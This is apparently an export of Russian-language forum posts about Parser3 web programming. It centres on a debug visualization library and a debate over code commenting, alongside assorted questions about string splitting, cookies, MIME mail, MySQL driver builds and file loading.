#\
#    string\
#    debugShowObject[\
#	undefined object\
#    ]\
#\
^if(!def $object){\
	^debugShowVoid[$object]\
}{\
	^if($object is date){^debugShowDate[$object]}\
	^if($object is file){^debugShowFile[$object]}\
	^if($object is image){^debugShowImage[$object]}\
	^if($object is bool){^debugShowBool[$object]}\
	^if($object is table){^debugShowTable[$object]}\
	^if($object is string){^debugShowString[$object]}\
	^if($object is int || $object is double){^debugShowDouble[$object]}\
	^if($object is hash){^debugShowHash[$object]}\
\
}\
#end @debugShowObject[]\
\
\
\
\
@debugShowString[text]\
###################################################################################################\
# Визуализация объекта класса string\
#\
#    string\
#    debugShowString[\
#	string text\
#    ]\
#\
$result[<strong>$text</strong> (string)<br>]\
#end @debugShowString[]\
\
\
\
\
@debugShowDouble[d]\
###################################################################################################\
# Визуализация объекта класса int или double\
#\
#    string\
#    debugShowDouble[\
#	int/double d\
#    ]\
#\
$result[<strong>$d</strong> (int/double)<br>]\
#end @debugShowDouble[]\
\
\
\
\
@debugShowBool[b]\
###################################################################################################\
# Визуализация объекта класса bool\
#\
#    string\
#    debugShowBool[\
#	bool b\
#    ]\
#\
$result[<strong>^if($b){true}{false}</strong> (bool)<br>]\
#end @debugShowBool[]\
\
\
\
\
@debugShowVoid[v]\
###################################################################################################\
# Визуализация пустых объектов\
#\
#    string\
#    debugShowVoid[\
#	void v\
#    ]\
#\
$result[<strong>Значение не присвоено</strong> (void)<br>]\
#end @debugShowVoid[]\
\
\
\
\
@debugShowFile[f][_f]\
###################################################################################################\
# Визуализация объекта класса file\
#\
#    string\
#    debugShowFile[\
#	file f\
#    ]\
#\
^try{\
	$_f[^file::stat[$f.name]]\
	$result[<strong>^file:fullpath[$f.name]</strong> (file).<br>\
	Размер: $_f.size байт.<br>\
	Создан ${_f.cdate.day}.${_f.cdate.month}.${_f.cdate.year} в ${_f.cdate.hour}ч.${_f.cdate.minute}мин.<br>\
	Изменен: ${_f.mdate.day}.${_f.mdate.month}.${_f.mdate.year} в ${_f.mdate.hour}ч.${_f.mdate.minute}мин.<br>\
	Последний раз обращение к файлу производилось ${_f.adate.day}.${_f.adate.month}.${_f.adate.year} в ${_f.adate.hour}ч.${_f.adate.minute}мин.<br>\
	MIME-тип файла: $_f.content-type<br>\
	^if(${_f.content-type} eq \"text/plain\" || ${_f.content-type} eq \"text/html\"){\
	Первые 100 символов файла:<br>\
	<strong>^f.text.left(100)...>>></strong><br>\
	Последние 100 символов файла:<br>\
	<strong><<<...^f.text.right(100)</strong><br>\
	}\
	]\
}{\
	$exception.handled(1)\
	$result[<font color=\"red\"><strong>^file:fullpath[$f.name]</strong> (file) не найден!</font><br>]\
}\
#end @debugShowFile[]\
\
\
\
\
@debugShowDate[d]\
###################################################################################################\
# Визуализация объекта класса date\
#\
#    string\
#    debugShowDate[\
#	date d\
#    ]\
#\
$result[<strong>${d.day}.${d.month}.${d.year}, ${d.hour}ч.${d.minute}мин.${d.second}сек. $d.yearday день года</strong> (date)<br>]\
#end @debugShowDate[]\
\
\
\
\
@debugShowImage[i]\
###################################################################################################\
# Визуализация объектов класса image\
#\
#    string\
#    debugShowImage[\
#	image i\
#    ]\
#\
\
$result[^if(def $i.src){<strong>^i.html[]</strong>}{<strong>Графический объект созданный Parser3</strong>} (image)<br>\
Высота изображения^: $i.height<br>\
Ширина изображения^: $i.width\
^if(def $i.exif){^debugShowHash[$i.exif]}]\
#end @debugShowImage[]\
\
\
\
\
@debugShowTable[t][_tcol;_t;_path]\
###################################################################################################\
# Визуализация объектов класса table\
#\
#    string\
#    debugShowTable[\
#	table t\
#    ]\
#\
^if(^t.columns[] != ^t.flip[]){\
	$_path[$TEMP_DIR/^math:uid64[]]\
	^t.save[$_path]\
	$_t[^table::load[$_path]]\
	^file:delete[$_path]\
	Объект является nameless таблицей!<br>\
	^debugShowTable[$_t]\
}{\
	$_tcol[^t.columns[]]\
	$result[<table cellSpacing=\"1\" cellPadding=\"1\" border=\"1\">\
	<tr align=\"center\">\
	^_tcol.menu{\
		<td><strong>$_tcol.column</strong></td>\
	}\
	</tr>\
\
	^t.menu{\
	<tr align=\"center\">\
		^_tcol.menu{\
		<td>$t.[$_tcol.column]</td>\
		}\
	</tr>\
	}\
	</table>]\
}\
#end @debugShowTable[]\
\
\
\
\
@debugShowHash[h][k;v;_s]\
###################################################################################################\
# Визуализация объекта класса hash\
#\
#    string\
#    debugShowHash[\
#	hash h\
#    ]\
#\
<br>\
$self._s[$self._s&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^; ]\
^h.foreach[k;v]{\
	^if(!def $v){$self._s^$.$k = ^debugShowVoid[$v]}\
	^if($v is bool){$self._s^$.$k = ^debugShowBool[$v]}\
	^if($v is string){$self._s^$.$k = ^debugShowString[$v]}\
	^if($v is int || $v is double){$self._s^$.$k = ^debugShowDouble($v)}\
	^if($v is hash){\
		$self._s^$.$k (hash) = ^debugShowHash[$v]\
		$self._s[^self._s.mid(^eval(^self._s.pos[ ]+1))]\
	}\
}\
#end @debugShowHash[]\
[/code]"
"45276","1. ^debug:showObject[$var] по моему значительно лучше чем ^debugShowObject[]. причина - этим показывается что это отдельный класс, занимающийся тем-то и тем-то, искать его там-то.\
\
2. бывают. пример из кода:\
[quot]\
# @debugShowObject[]Визуализация объектов\
# @debugShowVoid[]Визуализация пустых объектов\
# @debugShowString[]Визуализация объекта класса string\
# @debugShowTable[]Визуализация объекта класса table\
# @debugShowImage[]Визуализация объекта класса image\
...\
[/quot]\
\
все, что делают методы понятно без комментариев. они тут лишни.\
\
4. да\
\
7. lol"
"45278","Перестаем улыбаться -  уже разобрался и переделал:\
\
[code]\
@debugShowHash[h][k;v;_s]\
###################################################################################################\
# Визуализация объекта класса hash\
#\
#    string\
#    debugShowHash[\
#	hash h\
#    ]\
#\
<br>\
$_s[$caller._s&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^; ]\
^h.foreach[k;v]{\
	^if(!def $v){$_s^$.$k = ^debugShowVoid[$v]}\
	^if($v is bool){$_s^$.$k = ^debugShowBool[$v]}\
	^if($v is string){$_s^$.$k = ^debugShowString[$v]}\
	^if($v is int || $v is double){$_s^$.$k = ^debugShowDouble($v)}\
	^if($v is hash){\
		$_s^$.$k (hash) = ^debugShowHash[$v]\
		$caller._s[^_s.mid(^eval(^_s.pos[ ]+1))]\
	}\
}\
#end @debugShowHash[]\
[/code]\
\
А насчет \"лишних комментариев\"... Когда я был молодой, то меня учили документировать код. В частности, открыв файл visualization.p, любой программист увидав описание метода в самом начале файла, поймёт что в нем делается и зачем. Можно конечно убрать строки\
[code]\
# @debugShowObject[]Визуализация объектов\
# @debugShowVoid[]Визуализация пустых объектов\
# @debugShowString[]Визуализация объекта класса string\
# @debugShowTable[]Визуализация объекта класса table\
# @debugShowImage[]Визуализация объекта класса image\
...\
[/code]\
\
но тогда надо будет написать много-много всего на страничке для скачивания этой библиотеки. И после скачивания человек пытающийся вникнуть в чужой (мой) код будет скакать туда-сюда между браузером, редактором с открытым файлом visualization.p, каким-нибудь readme.doc, и этим форумом. Оно надо? А, при необходимости, удалить мои \"лишние\" комментарии из файла visualixation.p любой может в два удара по клавишам - это как раз не проблема.\
\
Необходимо различать ситуацию когда пишешь \"для себя\" и ситуацию \"для публики\"! Я, как правило, пишу всегда так, чтобы было \"для публики\". Более того: я действительно удалил из visualization.p лишние строки. Иначе выглядело бы примерно так (это из другой библиотеки):\
\
[code]\
@TrimArr[arrHash][_subHash;_boolResult]\
###################################################################################################\
# Функция удаляет из массива все элементы с пустыми значениями. Возвращает\
# \"истину\", если был удален хоть один пустой элемент, иначе - \"ложь\".\
#\
#    bool\
#    TrimArr[\
#	arrHash hash\
#    ]\
#\
# Если входной hash определен...\
^if(def $arrHash){\
\
# Инициализация переменной результата\
	$_boolResult[$FALSE]\
# Создание пустого hash'а-вычитаемого\
	$_subHash[^hash::create[]]\
\
# Бежим по ключам входного hash'а\
	^arrHash.foreach[_key;_var]{\
# Если значение текущего ключ представляет собой строку из пробелов\
		^if($_var is string){$_var[^_var.trim[]]}\
# Если значение ключа пусто\
		^if(!def $_var){\
# Формируем hash-вычитаемое\
			$_subHash.$_key[]\
# Определяем результат выполнений функции как положительный\
			$_boolResult[$TRUE]\
		}\
	}\
# Вычитание из входного hash'а пустых ключей\
	^arrHash.sub[$_subHash]\
# Результат работы функции\
	$result($_boolResult)\
}{\
# Результат функции при пустом входящем hash\
	$result($FALSE)\
}\
#end @TrimArr[]\
[/code]\
\
Это как нижнее бельё, в т.ч. и у мужика, которое всегда должно быть цивильным и привлекательным: никогда не знаешь куда жизнь закинет вечером и как сложится ситуация. Пришел в гости, тяпнул полташку, начал раздеваться, а у тебя трусы \"семейного\" типа и до колен - ну неудобняк же! Придется ещё пару раз \"тяпнуть\" чтобы снять напряжение, и, не ровен час, все пьянством и закончится, как обычно в общем ;)\
\
Глобальная переменная $TEMP_DIR - не вопрос. Но если она не задана - ничего страшного. В операторе @debugShowTable[] файл таблицы будет создаваться/удаляться в корне сайта. Опять-таки - не принципиально, на работоспособность всего кода не влият, а на мысли может быть кого-либо из скачавших натолкнет.\
\
Ну что? Будем на www.parser.ru выкладывать или надо все-таки доработать?"
"45279","Новая версия парсера на носу, а сокетов, на сколько я понял, там не предвидится.\
Жаль, видно не скоро можно будет обойтись одним Парсером в решении поставленной задачи...."
"45280","В общем смысл такой,\
необходимо разбить строку типа\
\"А238,H975/H974,N867\" на несколько.\
разделителем служит ЗАПЯТАЯ\
нужно что бы получилось 3 переменных:\
$a1 - А238\
$a2 - H975/H974\
$a3 - N867\
Только проблема ещё в том, что обработка должна быть массовой,\
тоесть таких строк тысячи, и не обязательно могут быть 3 переменных, может и больше. Вот как это сделать, уже всю голову сломал.\
Пытался так:\
^if(^str.match[ \
    ,\
][x]){\
^str.match[(\\w+),(\\w+)][g]{\
$a1[$match.1]\
$a2[$match.2]\
}\
\
Но получается что иногда \"/\" воспринимается тоже как разделитьель =(\
Помагите, плииииз!"
"45281","ПДД нельзя воспринимать частями! Помимо сокровенного знания того, что \"необходимо пропускать помеху справа\", надо: видеть и понимать дорожные знаки и разметку, реагировать на других участников движения, знать где сидят в засаде инспектора, вычленять идиотов и пропускать их в их стремлении поскорее достичь помещения морга, слышать стуки подвески и перебои в работе двигателя, следить за уровнем топлива в баке, доливать жидкость в бачок омывателя, проверять давление в шинах. И после всего этого надо еще замечать симпатичных деффок, голосующих на обочине! При других вариантах толковой езды не будет ;)"
"45285","1. Тщательное изучение чего бы то ни было имеет смысл только при наличии каких-то практических навыков. Штудировать такую пачку теоретических материалов без применения - головная боль прямо сейчас.\
\
2. Я и не претендую на полный отказ от изучения. Просто конкретно сейчас заниматься старательным изучением спецификаций нецелесообразно."
"45286","Вытаскиваю из БД MySQL строку, потом вставляю её в тег <a>:\
<a class=\"b\" href=\"http://www.clubistok.ru/outbase.html?$names.fname]\">Подробнее...</a>\
Explorer работает нормально, а опера подставляет вместо нужной строки: http://www.clubistok.ru/outbase.html?%CB%E0%E2%F0%E5%ED%EA%EE.\
Подскажите пожалуйста как сделать чтобы Opera не переделывала из нормальных букв в %XX?"
"45287","[quot]\
Когда я был молодой, то меня учили документировать код.\
[/quot]\
\
посностью согласен, но вы пишите код на парсере. код, который в общем случае не должен быть предназначен для тех, кто в глаза не видел его. т.е. человек, который его будет читать знает его.\
поэтому комментировать:\
[quot]\
# Если входной hash определен...\
^if(def $arrHash){\
[/quot]\
есть бред. из базового оператора понятно что он делает, и подобные комментарии только усложняют жизнь.\
\
касательно этого:\
[quot]\
# @debugShowObject[] Визуализация объектов\
[/quot]\
\
те-же яйца, только в профиль. ваш файл с методами/класс предназначен для визуализации объектов. писать масло масляное совершенно незачем. на самом деле избыточные комментарии не только усложняют чтение кода, они ещё и вводят в заблуждение, т.к. авторы вынуждены править и их при изменениях, о чем они частенько забывают (особенно когда комментариев миллион), в результате оказывается что комментарий не соотвествует действительности.\
\
по поводу вынесения в классы.\
почему я сейчас не люблю операторы, и люблю классы (если бы не бремя обратной совместимости - мой lib.p давно бы перекочевал в отдельный статический класс)?\
потому что оператор  есть метод класса main, и они имеют приоритер при исполнении перед методами классов.\
\
предположим вы написали какую-нить CMS ли ещё что. потом вы пошли в отпуск, и срочно потребовалось внести несколько однотипных изменений. вместо вас кто-либо рассудив \"раз они однотипные, добавлю-ка один оператор (метод MAIN) @announce[] и вызову его несколько раз\". добавил. вызвал. проверил - вроде все ок.\
\
однако как это часто бывает проверил не всюду, и потом выяснилось, что у вас в ваших классах уже был такой оператор. и как и следовало ожидать он перестал работать, а работает вместо него новоявленный оператор @announce[]. при использовании классов (статических) подобная ситуация становится менее вероятной."
"45288","а еще правильнее разработчику написать:\
[code]\
<a class=\"b\" href=\"http://www.clubistok.ru/outbase.html?^taint[uri][$names.fname]\">Подробнее...</a>\
[/code]\
потом прочитать про $form и забыть как страшный сон про $reqiest:query и $request:uri"
"45289","Искал по форуму, так ничего вразумительно не нашел.\
Поэтому обращаюсь с вопросом, как реализовать RSS поток на сайте.\
Вообще как мне кажется должно быть так,\
новость загружается из бд и вставляется в rss файл, средствами парсера."
"45290","небольшая простая вещь.\
много искал, ничего не нашёл.\
и как в конце месяца в бухгалтерию пойти? ведь не сделал ничего."
"45291","Слава богу что с бухгалтерией у меня проблем нет.\
Но хочется сделать механизм RSS который бы хорошо работал...\
Никогда с RSS не сталкивался, только прочитал спецификацию, а как лучше сделать механизм с Парсером и б.д. не понял\
Просто примеры везде достают RSS с других сайтов, складывают в XML файл и затем средствами Парсера переводят в RSS, мне же интересно как это сделать из собственной БД"
"45292","Строка ^taint[uri][$names.fname] как разделает принудительно перекодировку в %XX. Нужно наоборот."
"45293","Насчет комментариев - спор не предметный, на мой взгляд. Все зависит от ситуации. Т.е.:\
\
[i]    посностью согласен, но вы пишите код на парсере. код, который в общем случае не должен быть предназначен для тех, кто в глаза не видел его. т.е. человек, который его будет читать знает его.\
поэтому комментировать:\
# Если входной hash определен...\
^if(def $arrHash){\
есть бред. из базового оператора понятно что он делает, и подобные комментарии только усложняют жизнь.[/i]\
\
Я подразумеваю, что на кодах опубликованных на сайте www.parser.ru - УЧАТСЯ! Т.е. не столько используют в своих работах, сколько изучают \"правильный\" и красивый код и привыкают \"мыслить в унисон\". Посему и такое мое отношение к комментариям. Если речь идет только об использовании готовой библиотеки, то тогда и отступы при написании кода надо убрать, и переносы строк лишние. Зачем? Работать будет и без этих украшательств. А уж если кто-то решил менять в коде строчки, так пусть первым делом удалит лишние комментарии и вставит свои - без этого действительно запутаться и потеряться легко, особенно если \"почерк\" размещения комментариев совпадает:\
\
[code]\
# Это комментарии мои\
...\
# А это комментарии Василия Пупкина\
...\
[/code]\
Про классы...\
\
[i]    предположим вы написали какую-нить CMS ли ещё что. потом вы пошли в отпуск, и срочно потребовалось внести несколько однотипных изменений. вместо вас кто-либо рассудив \"раз они однотипные, добавлю-ка один оператор (метод MAIN) @announce[] и вызову его несколько раз\". добавил. вызвал. проверил - вроде все ок...[/i]\
\
CMS, опять-таки по моему разумению, на 90% должна состоять из документации в которой, в том числе и как минимум, должны быть описаны все классы, функции API, операторы, методы, переменные и т.п. и т.д. (имеется в виду контекст разработчиков, а не секретарш - для них API не надо!). Если это есть, то имея на руках эту документацию влезть в чужой код и задублировать оператор @announce[] может только человек который характеризуется поговоркой про сдуру сломанный <сам знаешь что>. Такой все равно что-то да сломает. А вот если документации нет, то это не CMS, а код для частного использования и в него нефиг лазать кому-либо постороннему.\
\
В общем: вернулись к вопросу о документировании кода ;)\
\
И это... Из библиотеки класс делается в два удара:\
\
1. Добавим в начале файла visualization.p строки\
[code]\
@CLASS\
vizualization\
[/code]\
\
2. Добавим в твой lib.p метод\
[code]\
@debugShowObject[object]\
^visualization:debugShowObject[$object]\
#end @debugShowObject[]\
[/code]\
\
Всего делов-то. Во всех остальных местах всей системы ничего больше менять не надо. Было бы о чем спорить ;)\
\
Вешать то будем? :)"
"45297","Спасибо заработало :)"
"45298","Проблема решена, просто немног сбили примеры, а нет HTML я распечатываю и посылаю голубинной почтой"
"45299","Выложил на http://www.opensea.tv/parser3/\
\
[code]\
###################################################################################################\
# $Id: visualization.p,v 1.4 2005/10/04 11:52:40 1 Exp $\
###################################################################################################\
#\
# @debugShowObject[]	Визуализация объектов\
# @debugShowVoid[]	Визуализация пустых объектов\
# @debugShowString[]	Визуализация объекта класса string\
# @debugShowTable[]	Визуализация объекта класса table\
# @debugShowImage[]	Визуализация объекта класса image\
# @debugShowDate[]	Визуализация объекта класса date\
# @debugShowFile[]	Визуализация объекта класса file\
# @debugShowDouble[]	Визуализация объекта класса int или double\
# @debugShowBool[]	Визуализация объекта класса bool\
# @debugShowHash[]	Визуализация объекта класса hash\
#\
###################################################################################################\
# Если есть необходимость и желание сделать данную библиотеку операторов классом, то:\
#\
# 1. Раскоментируйте ниже расположенные две строки\
# @CLASS\
# visualization\
# 2. Включите в Ваш класс MAIN оператор:\
# @debugShowObject[object]\
# ^visualization:debugShowObject[$object]\
# #end @debugShowObject[]\
###################################################################################################\
\
\
\
\
@debugShowObject[object]\
###################################################################################################\
# Визуализация объектов\
#\
#    string\
#    debugShowObject[\
#	undefined object\
#    ]\
#\
^if(!def $object){\
	^debugShowVoid[$object]\
}{\
	^if($object is date){^debugShowDate[$object]}\
	^if($object is file){^debugShowFile[$object]}\
	^if($object is image){^debugShowImage[$object]}\
	^if($object is bool){^debugShowBool[$object]}\
	^if($object is table){^debugShowTable[$object]}\
	^if($object is string){^debugShowString[$object]}\
	^if($object is int || $object is double){^debugShowDouble[$object]}\
	^if($object is hash){^debugShowHash[$object]}\
\
}\
#end @debugShowObject[]\
\
\
\
\
@debugShowString[text]\
###################################################################################################\
# Визуализация объекта класса string\
#\
#    string\
#    debugShowString[\
#	string text\
#    ]\
#\
$result[<strong>$text</strong> (string)<br>]\
#end @debugShowString[]\
\
\
\
\
@debugShowDouble[d]\
###################################################################################################\
# Визуализация объекта класса int или double\
#\
#    string\
#    debugShowDouble[\
#	int/double d\
#    ]\
#\
$result[<strong>$d</strong> (int/double)<br>]\
#end @debugShowDouble[]\
\
\
\
\
@debugShowBool[b]\
###################################################################################################\
# Визуализация объекта класса bool\
#\
#    string\
#    debugShowBool[\
#	bool b\
#    ]\
#\
$result[<strong>^if($b){true}{false}</strong> (bool)<br>]\
#end @debugShowBool[]\
\
\
\
\
@debugShowVoid[v]\
###################################################################################################\
# Визуализация пустых объектов\
#\
#    string\
#    debugShowVoid[\
#	void v\
#    ]\
#\
$result[<strong>Значение не присвоено</strong> (void)<br>]\
#end @debugShowVoid[]\
\
\
\
\
@debugShowFile[f][_f]\
###################################################################################################\
# Визуализация объекта класса file\
#\
#    string\
#    debugShowFile[\
#	file f\
#    ]\
#\
^try{\
	$_f[^file::stat[$f.name]]\
	$result[<strong>^file:fullpath[$f.name]</strong> (file).<br>\
	Размер: $_f.size байт.<br>\
	Создан ${_f.cdate.day}.${_f.cdate.month}.${_f.cdate.year} в ${_f.cdate.hour}ч.${_f.cdate.minute}мин.<br>\
	Изменен: ${_f.mdate.day}.${_f.mdate.month}.${_f.mdate.year} в ${_f.mdate.hour}ч.${_f.mdate.minute}мин.<br>\
	Последний раз обращение к файлу производилось ${_f.adate.day}.${_f.adate.month}.${_f.adate.year} в ${_f.adate.hour}ч.${_f.adate.minute}мин.<br>\
	MIME-тип файла: $_f.content-type<br>\
	^if(${_f.content-type} eq \"text/plain\" || ${_f.content-type} eq \"text/html\"){\
	Первые 100 символов файла:<br>\
	<strong>^f.text.left(100)...>>></strong><br>\
	Последние 100 символов файла:<br>\
	<strong><<<...^f.text.right(100)</strong><br>\
	}\
	]\
}{\
	$exception.handled(1)\
	$result[<font color=\"red\"><strong>^file:fullpath[$f.name]</strong> (file) не найден!</font><br>]\
}\
#end @debugShowFile[]\
\
\
\
\
@debugShowDate[d]\
###################################################################################################\
# Визуализация объекта класса date\
#\
#    string\
#    debugShowDate[\
#	date d\
#    ]\
#\
$result[<strong>${d.day}.${d.month}.${d.year}, ${d.hour}ч.${d.minute}мин.${d.second}сек. $d.yearday день года</strong> (date)<br>]\
#end @debugShowDate[]\
\
\
\
\
@debugShowImage[i]\
###################################################################################################\
# Визуализация объектов класса image\
#\
#    string\
#    debugShowImage[\
#	image i\
#    ]\
#\
\
$result[^if(def $i.src){<strong>^i.html[]</strong>}{<strong>Графический объект созданный Parser3</strong>} (image)<br>\
Высота изображения^: $i.height<br>\
Ширина изображения^: $i.width<br>\
^if(def $i.exif){^debugShowHash[$i.exif]}{EXIF информация в файле отсутствует!<br>}]\
#end @debugShowImage[]\
\
\
\
\
@debugShowTable[t][_tcol;_t;_path]\
###################################################################################################\
# Визуализация объектов класса table\
#\
#    string\
#    debugShowTable[\
#	table t\
#    ]\
#\
^if(^t.columns[] != ^t.flip[]){\
	$_path[$TEMP_DIR/^math:uid64[]]\
	^t.save[$_path]\
	$_t[^table::load[$_path]]\
	^file:delete[$_path]\
	Объект является nameless таблицей!<br>\
	^debugShowTable[$_t]\
}{\
	$_tcol[^t.columns[]]\
	$result[<table cellSpacing=\"1\" cellPadding=\"1\" border=\"1\">\
	<tr align=\"center\">\
	^_tcol.menu{\
		<td><strong>$_tcol.column</strong></td>\
	}\
	</tr>\
\
	^t.menu{\
	<tr align=\"center\">\
		^_tcol.menu{\
		<td>$t.[$_tcol.column]</td>\
		}\
	</tr>\
	}\
	</table>]\
}\
#end @debugShowTable[]\
\
\
\
\
@debugShowHash[h][k;v;_s]\
###################################################################################################\
# Визуализация объекта класса hash\
#\
#    string\
#    debugShowHash[\
#	hash h\
#    ]\
#\
<br>\
$_s[$caller._s&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^;&nbsp^; ]\
^h.foreach[k;v]{\
	^if(!def $v){$_s^$.$k = ^debugShowVoid[$v]}\
	^if($v is bool){$_s^$.$k = ^debugShowBool[$v]}\
	^if($v is string){$_s^$.$k = ^debugShowString[$v]}\
	^if($v is int || $v is double){$_s^$.$k = ^debugShowDouble($v)}\
	^if($v is hash){\
		$_s^$.$k (hash) = ^debugShowHash[$v]\
		$caller._s[^_s.mid(^eval(^_s.pos[ ]+1))]\
	}\
}\
#end @debugShowHash[]\
[/code]"
"45300","^string.split[]   -  а как этим пользоваться? ;("
"45303","[quot]Я подразумеваю, что на кодах опубликованных на сайте www.parser.ru - УЧАТСЯ![/quot]\
Не надо принимать людей за идиотов, неспособных прочесть документацию.\
[code]\
# Бежим по ключам входного hash'а\
	^arrHash.foreach[_key;_var]{\
[/code]\
Форменное издевательство. Не надо так комментировать."
"45304","Я подобные комментарии вычистил из visualization.p А вызвавший твое возмущение пример - для внутреннего моего пользования и пенять мне им не след :/"
"45305","Просто приходим к консенсусу :) Подобные комменты чрезвычайно легко писать, но в то же время, они чрезвычайно вредны, ибо только загромождают код, не неся полезной нагрузки."
"45306","Пасиба огромное, просто сначала н хэлпе не нашёл."
"45307","Суть:\
\
из формы данные вставляем в position.xml, и отправляем его через mail:send. Но он приходит в uuencode, а для программы нужно MIME/base64. \
\
Есть $файл.content-type, но куда его приложить не знаю."
"45308","нашим клиентам пока не нужно было.\
место для указания способа упаковки задумано, проверки есть. кусок кодирующего кода пока не написан.\
\
добрый пользователь уже прислал готовый класс для кодирования.\
\
кому нужно срочно, и кто готов подкрутить готов отдать этот класс."
"45309","какие пути решение, пусть и сложные. Я вот только не могу \"прикручивать\" и собирать сам парсер.\
\
Еще есть варианты? практически любые :)"
"45310","который подготовит (может и отправит) вам письмо в нужном виде.\
\
для perl есть нужные библиотеки и заготовки.\
\
потом вызвать send.pl скрипт по ^file::exec"
"45311","... ОС - GNU/Linux Slackware 10.1\
размер файла, кстати, за четыре метра.\
Ну вот, собрал. Собрал mysql библиотеку(и) и оно мне пишет при попытке подключения к MySQL:\
[code]\
undefined symbol: __gxx_personality_v0\
[/code]\
Вообще-то скачанный с сайта RedHat-ный вариант работал, но вот как раз при попытке подключения к MySQL выдавал 500-ю ошибку (в логе \"premature end of script headers\"), вот поэтому я и заморочился собирать сам...\
\
Дык, что-же делать то?"
"45313","размер: сделайте strip."
"45314","Я собрал её. Это она даёт ошибку \
[code]\
$sqldriversdir/libparser3mysql.so: undefined symbol: __gxx_personality_v0\
[/code]"
"45315","Прошу прощения) \
\
Мне казалось, что предыдущий автор вполне подробно изложил суть дела. Хорошо, попытаюсь и я. \
\
В админ-панели для сайта операция по добавлению, скажем, новости, сопровождается примерно следующей конструкцией:\
\
[code]\
<form method=\"POST\">\
Заголовок <input name=\"name\" size=\"20\"><br>\
Новость <br>\
<textarea cols=\"60\" name=\"body\" rows=\"11\"></textarea><br>\
<input type=\"submit\" value=\"Добавить\" name=\"posted\">\
</form>  \
\
^if(def $form:posted && def $form:name && def $form:body){\
   ^void:sql{insert into news\
         (name, body)\
    values\
         ('$form:name', '$form:body')}\
   $response:location[/admin/index.html]\
}\
[/code]\
\
И это всё замечательно работает на сервере под FreeBSD. Однако я уже дважды столкнулся с такой проблемой (два сайта у двух различных провайдеров), что если тоже самое осуществить под IIS Win32, то проиходит нечто неприятное. А именно: сервер подвисает, ввиду того что происходит постоянное добавление новых записей в базу. Если самому не прервать, то прервёт сам сервер по своему тайм-ауту. У меня как-то было 400 записей за раз таким макаром добавилось. \
\
Поменяв $response:location[/admin/index.html] на \
$response:refresh[\
$.value[0]\
$.url[/admin/index.html]\
]\
всё заработало должным образом. Но как я уже говорил, сайт при этом перегружается дважды. Админка - не страшно, там только текст. А на самом сайте есть, например, голосование. И вот там двойной рефреш (а на сайте много графики) производит очень тягостное зрелище.\
\
Ну вот объяснил проблему как мог. Спасибо за внимание."
"45317","cd ~parser3project/sql/mysql\
make clean\
make LDFLAGS=-lstdc++"
"45319","Теперь буду мучаться и собирать таки с поддержкой xml..."
"45320","Просто пользую уже давно $env:SERVER_NAME без таинтинга, пока все нормально. Где-то грабли дожидаются? :-)"
"45321","... и в общем случае для того, чтобы при выдачи в request не произошло никаких преобразований надо писать ^taint[as-is][]. \
\
однако если мы рассмотрим список символов, которые могут быть в имени сервера то мы не найдем там тех символов, которые могут быть преобразованы, т.е. по сути писать этот taint не нужно.\
\
тем не менее я все равно пишу его там: я привык делать это для всех данных, которые приходят извне. =)"
"45328","[code]\
//траляля\
   //труляя\
\
/* пам\
парам \
пам пам */\
[/code]"
"45334","Михаил я не занимаюсь Флеймом. Это первое. Второе если Вы не хотите отвечать ответят другие ребята, зачем удалять тему, они не несет негативный характер. И в третьих, у меня на столе лежат учебники HTML, но ни в одном из них не упомянут Parser, соответсвенно вопросы по его работе я имею право формулировать на это Форуме. Я не нарушаю правил Форума. Людей нужно уважать!\
\
Теперь по делу. Я разобрался с понятием директория и хосты, я разобрался как делать пакпи и поддиректории под конкретный веб проект. По поиску я также решил проблему с index.html За это спасибо!"
"45336","[code]\
\
@sub[]\
  ^rem{ Восклицание }\
  $oh[my] ^rem{ о боже мой }\
  ^how.toRead[it] ^rem{ как же это прочитать }\
#/sub\
\
\
@sub2[]\
  // Восклицание 2\
  $wow[cool] // ух-ты, круто\
  ^they.Rocks[] // прямо как в Си, крутой язык этот Parser!\
#/sub2\
\
[/code]"
"45337","Осуществив поиск по форуму, я нашел что необходимо также создавать файл - .htaccess с соответсвующим наполнением, все заработало. Вопрос вот в чем, при создании нового проекта необходимоо постоянно создавать єтот файл? и его наполнение меняется индивидуально или остается заданнім по умолчанию?"
"45338","это где-то на фряшном - затык идет"
"45339","Просто в конфигурационный файл Апача поместите строки из него. Но для размещения в инете придётся создавать."
"45340","Вообщем создаем куку...\
[code]\
$cookie:id[ \
$.value[$rab.id]  					\
$.expires[session]\
] 	\
[/code]\
\
Находимся в этот момент по адресу\
\
[code]\
supersait.ru\
[/code]\
\
Но если перейти на страницу\
\
[code]www.supersait.ru[/code]\
\
эта кука не читается.\
\
Если создавать куку так\
\
[code]\
$cookie:id[ \
$.value[$rab.id]  					\
$.expires[session]\
$.domain[supersait.ru]\
]\
$cookie:id[ \
$.value[$rab.id]  					\
$.expires[session]\
$.domain[www.supersait.ru]\
]\
[/code]\
\
То кука савсем что-то не читается.\
\
Подскажите в какую сторону чесать голову мне...\
Спасибо"
"45341","Прям не ожидал. Отгрёб ошибку на ровном месте...\
Кто видит неровность - подтолкните, коли не трудно.\
\
Код:\
[code]\
@load[]\
$file_name[/temp.txt]\
$from(10)\
$limit(150)\
^if(!-f \"$file_name\"){\
	$temp[^for[i](1;500){^for[c](1;500){^math:md5[${c}$i]}}]\
	^temp.save[$file_name]\
}\
$options[\
	$.offset($from)\
	$.limit($limit)\
]\
$file[^file::load[text;$file_name;new_name;$options]]\
^if(def $file){\
	Загружен.\
	^file.text.length[]\
}{\
	Нифига не загружен.\
}\
[/code]\
\
Получаю ошибку: [b]method of file (stateless_class) accepts maximum 3 parameter(s)[/b].\
\
Если перефразировать загрузку в:\
[code]\
$file[^file::load[text;$file_name;new_name;$options]]\
[/code]\
\
то же.\
\
Если перефразировать в:\
[code]\
$file[^file::load[text;$file_name;$options]]\
[/code]\
то бишь новое имя убрать,\
ещё интереснее:\
[b]invalid option passed[/b].\
\
Где порыться, товарищи и товарки?\
\
Вдогонку, ещё одна непонятность:\
если загрузить mp3-файл и затем вывести его содержимое:\
[code]\
$file[^file::load[binary;/test.Mp3]]\
$file.text\
[/code]\
получаю что-то вроде: ID3[символ с кодом 03]\
или ещё что похуже, но не более 4символов.\
Что это такое и как с этим бороться?\
